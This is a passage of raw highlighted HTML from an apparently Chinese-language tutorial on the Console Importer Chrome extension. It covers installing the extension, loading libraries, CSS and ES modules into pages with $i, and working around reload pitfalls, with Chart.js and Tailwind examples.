class="kr">const</span> <span class="nx">myLibraries</span> <span class="o">=</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;jQuery&#39;</span><span class="p">,</span> <span class="kr">package</span><span class="o">:</span> <span class="s1">&#39;jquery&#39;</span><span class="p">,</span> <span class="nx">check</span><span class="o">:</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="k">typeof</span> <span class="nx">$</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Lodash&#39;</span><span class="p">,</span> <span class="kr">package</span><span class="o">:</span> <span class="s1">&#39;lodash&#39;</span><span class="p">,</span> <span class="nx">check</span><span class="o">:</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="k">typeof</span> <span class="nx">_</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Moment&#39;</span><span class="p">,</span> <span class="kr">package</span><span class="o">:</span> <span class="s1">&#39;moment&#39;</span><span class="p">,</span> <span class="nx">check</span><span class="o">:</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="k">typeof</span> <span class="nx">moment</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 頁面載入後自動檢查並重載 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">autoReload</span><span class="p">(</span><span class="nx">myLibraries</span><span class="p">).</span><span class="nx">then</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;所有函數庫都已準備就緒！&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">})</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="-需要注意的陷阱">⚠️ 需要注意的陷阱</h3> <h4 id="1-css-樣式累積問題"><strong>1. CSS 樣式累積問題</strong></h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 重複載入 CSS 可能導致樣式重複 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://cdn.tailwindcss.com&#39;</span><span class="p">)</span> <span class="c1">// 首次載入 </span></span></span><span class="line"><span class="cl"><span class="c1">// 頁面重整後... </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://cdn.tailwindcss.com&#39;</span><span class="p">)</span> <span class="c1">// 可能會再次載入 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> </span></span><span class="line"><span class="cl"><span class="c1">// 解決方案：檢查是否已存在 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s1">&#39;link[href*=&#34;tailwindcss&#34;]&#39;</span><span class="p">))</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://cdn.tailwindcss.com&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h4 id="2-版本衝突問題"><strong>2. 版本衝突問題</strong></h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 重整前載入了舊版本 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery@2.2.4&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 重整後想載入新版本 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery@3.7.1&#39;</span><span class="p">)</span> <span class="c1">// 可能會有兩個版本同時存在 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> </span></span><span class="line"><span class="cl"><span class="c1">// 解決方案：清理舊版本 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">cleanOldScripts</span><span class="p">(</span><span class="nx">pattern</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="sb">`script[src*=&#34;</span><span class="si">${</span><span class="nx">pattern</span><span class="si">}</span><span class="sb">&#34;]`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">script</span> <span class="p">=&gt;</span> <span class="nx">script</span><span class="p">.</span><span class="nx">remove</span><span class="p">())</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nx">cleanOldScripts</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery@3.7.1&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="-重整檢查清單">📋 重整檢查清單</h3> <p>開發時建議建立這樣的檢查流程：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 重整後的環境檢查 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">checkEnvironment</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">checks</span> <span class="o">=</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;jQuery&#39;</span><span class="p">,</span> <span class="nx">test</span><span class="o">:</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="k">typeof</span> <span class="nx">$</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Lodash&#39;</span><span class="p">,</span> <span class="nx">test</span><span class="o">:</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="k">typeof</span> <span class="nx">_</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Chart.js&#39;</span><span class="p">,</span> <span class="nx">test</span><span class="o">:</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="k">typeof</span> <span class="nx">Chart</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">group</span><span class="p">(</span><span class="s1">&#39;🔍 環境檢查&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">checks</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">check</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">status</span> <span class="o">=</span> <span class="nx">check</span><span class="p">.</span><span class="nx">test</span><span class="p">()</span> <span class="o">?</span> <span class="s1">&#39;✅&#39;</span> <span class="o">:</span> <span class="s1">&#39;❌&#39;</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`</span><span class="si">${</span><span class="nx">status</span><span class="si">}</span><span class="sb"> </span><span class="si">${</span><span class="nx">check</span><span class="p">.</span><span class="nx">name</span><span class="si">}</span><span class="sb">`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">groupEnd</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 使用 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">checkEnvironment</span><span class="p">()</span> </span></span></code></pre></td></tr></table> </div> </div><p>這樣可以讓你快速了解重整後哪些函數庫需要重新載入！</p> <hr> <h2 id="安裝方式">安裝方式</h2> <h3 id="方法一chrome-線上應用程式商店安裝">方法一：Chrome 線上應用程式商店安裝</h3> <ol> <li>前往 <a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" >Chrome 線上應用程式商店</a></li> <li>點擊「加到 Chrome」按鈕</li> <li>確認安裝權限</li> <li>安裝完成後，打開任何網頁的開發者工具即可使用</li> </ol> <div class="info"> <strong>🌐 新分頁使用注意：</strong><br> <strong>重要：</strong>在完全新的空白分頁（如 <code>chrome://newtab/</code> 或 <code>about:blank</code>）中，<code>$i</code> 函數無法正常掛載，這是因為 Chrome 擴充功能需要在實際的網頁環境中才能注入腳本。<br><br> <strong>解決方案：</strong>請先導航到任何一個實際的網站（如 <code>https://www.google.com</code>、<code>https://github.com</code> 等），然後打開 Console，此時 <code>$i</code> 函數就會正常可用了。 </div> <h3 id="方法二手動安裝開發者模式">方法二：手動安裝（開發者模式）</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># clone 專案</span> </span></span><span class="line"><span class="cl">git clone https://github.com/pd4d10/console-importer.git </span></span><span class="line"><span class="cl"><span class="nb">cd</span> console-importer </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 安裝依賴</span> </span></span><span class="line"><span class="cl">pnpm install </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 打包擴充功能</span> </span></span><span class="line"><span class="cl">pnpm build </span></span></code></pre></td></tr></table> </div> </div><p>然後在 Chrome 的擴充功能管理頁面啟用「開發者模式」，載入 <code>build</code> 資料夾即可。</p> <hr> <h2 id="基本使用方法">基本使用方法</h2> <p>安裝完成後，在任何網頁上打開開發者工具（F12），切換到 Console 標籤，就可以開始使用 <code>$i</code> 函數了。</p> <div class="warning"> <strong>📋 使用前檢查：</strong><br> 在新分頁中，請先確認 Console Importer 擴充功能是否正常運作。可以在 Console 輸入 <code>typeof $i</code>，如果回傳 <code>"function"</code> 表示擴充功能已正常載入；如果回傳 <code>"undefined"</code> 則需要先安裝或啟用擴充功能。 </div> <div class="info"> <strong>🌐 新分頁使用注意：</strong><br> <strong>重要：</strong>在完全新的空白分頁（如 <code>chrome://newtab/</code> 或 <code>about:blank</code>）中，<code>$i</code> 函數通常無法正常掛載。這是因為 Chrome 擴充功能需要在實際的網頁環境中才能注入腳本。<br><br> <strong>解決方案：</strong>請先導航到任何一個實際的網站（如 <code>https://www.google.com</code>、<code>https://github.com</code> 等），然後打開 Console，此時 <code>$i</code> 函數就會正常可用了。 </div> <h3 id="載入-javascript-函數庫">載入 JavaScript 函數庫</h3> <h4 id="1-載入熱門函數庫">1. 載入熱門函數庫</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 載入最新版本的 jQuery </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入最新版本的 Lodash </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;lodash&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入 Bootstrap JavaScript </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;bootstrap&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h4 id="2-指定版本載入">2. 指定版本載入</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 載入 jQuery 2.x 版本 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery@2&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入指定版本的 Vue.js </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;vue@3.3.4&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入特定版本的 React </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;react@18.2.0&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h4 id="3-直接載入-url">3. 直接載入 URL</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 從 CDN 載入 jQuery </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入自定義的 JavaScript 檔案 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://example.com/custom-script.js&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="載入-css-樣式表">載入 CSS 樣式表</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 載入 Bootstrap CSS </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入 Font Awesome </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入自定義樣式 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://example.com/custom-styles.css&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><hr> <h2 id="進階功能">進階功能</h2> <h3 id="es-module-載入">ES Module 載入</h3> <p>現代 JavaScript 開發大量使用 ES Module，Console Importer 提供了 <code>$i.esm</code> 方法來載入 ES Module：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 載入 D3.js ES Module </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">d3</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">$i</span><span class="p">.</span><span class="nx">esm</span><span class="p">(</span><span class="s1">&#39;d3&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入指定版本的 ES Module </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">d3v7</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">$i</span><span class="p">.</span><span class="nx">esm</span><span class="p">(</span><span class="s1">&#39;d3@7&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 使用載入的模組 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">d3</span><span class="p">.</span><span class="nx">select</span><span class="p">(</span><span class="s1">&#39;body&#39;</span><span class="p">).</span><span class="nx">append</span><span class="p">(</span><span class="s1">&#39;h1&#39;</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="s1">&#39;Hello D3!&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><div class="info"> <strong>💡 ES Module 的優勢：</strong><br> ES Module 載入方式不會將變數加入到全域作用域中，能夠更好地控制副作用的範圍。 </div> <h3 id="指定-cdn-來源">指定 CDN 來源</h3> <p>如果需要從特定的 CDN 載入資源，可以使用以下專用方法：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 從 unpkg 載入 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">.</span><span class="nx">unpkg</span><span class="p">(</span><span class="s1">&#39;react@18.2.0&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 從 cdnjs 載入 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">.</span><span class="nx">cdnjs</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><hr> <h2 id="實際應用範例">實際應用範例</h2> <h3 id="範例快速測試-chartjs">範例：快速測試 Chart.js</h3> <p>假設我們想在某個網站上測試圖表功能：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 載入 Chart.js </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;chart.js&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 等待載入完成後，建立一個簡單的圖表 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// 在頁面中建立 canvas 元素 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">canvas</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;canvas&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">canvas</span><span class="p">.</span><span class="nx">id</span> <span class="o">=</span> <span class="s1">&#39;myChart&#39;</span> </span></span><span class="line"><span class="cl"> <span class="nx">canvas</span><span class="p">.</span><span class="nx">width</span> <span class="o">=</span> <span class="mi">400</span> </span></span><span class="line"><span class="cl"> <span class="nx">canvas</span><span class="p">.</span><span class="nx">height</span> <span class="o">=</span> <span class="mi">200</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">canvas</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1">// 建立圖表 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">ctx</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;myChart&#39;</span><span class="p">).</span><span class="nx">getContext</span><span class="p">(</span><span class="s1">&#39;2d&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">new</span> <span class="nx">Chart</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">type</span><span class="o">:</span> <span class="s1">&#39;bar&#39;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">data</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">labels</span><span class="o">:</span> <span class="p">[</span><span class="s1">&#39;一月&#39;</span><span class="p">,</span> <span class="s1">&#39;二月&#39;</span><span class="p">,</span> <span class="s1">&#39;三月&#39;</span><span class="p">,</span> <span class="s1">&#39;四月&#39;</span><span class="p">,</span> <span class="s1">&#39;五月&#39;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="nx">datasets</span><span class="o">:</span> <span class="p">[{</span> </span></span><span class="line"><span class="cl"> <span class="nx">label</span><span class="o">:</span> <span class="s1">&#39;銷售額&#39;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">data</span><span class="o">:</span> <span class="p">[</span><span class="mi">12</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="nx">backgroundColor</span><span class="o">:</span> <span class="s1">&#39;rgba(54, 162, 235, 0.2)&#39;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">borderColor</span><span class="o">:</span> <span class="s1">&#39;rgba(54, 162, 235, 1)&#39;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">borderWidth</span><span class="o">:</span> <span class="mi">1</span> </span></span><span class="line"><span class="cl"> <span class="p">}]</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">options</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">scales</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">y</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">beginAtZero</span><span class="o">:</span> <span class="kc">true</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="mi">2000</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="範例載入-tailwind-css-進行樣式測試">範例：載入 Tailwind CSS 進行樣式測試</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 載入 Tailwind CSS </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://cdn.tailwindcss.com&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 等待載入完成後，為頁面元素加上 Tailwind 樣式 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// 選取頁面中的標題元素 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">headings</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="s1">&#39;h1, h2, h3&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">headings</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">heading</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">heading</span><span class="p">.</span><span class="nx">className</span> <span class="o">=</span> <span class="s1">&#39;text-3xl font-bold text-blue-600 mb-4&#39;</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1">// 為按鈕加上樣式 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">buttons</span> <span class="o">=</span> <span class="nb">document</span><span 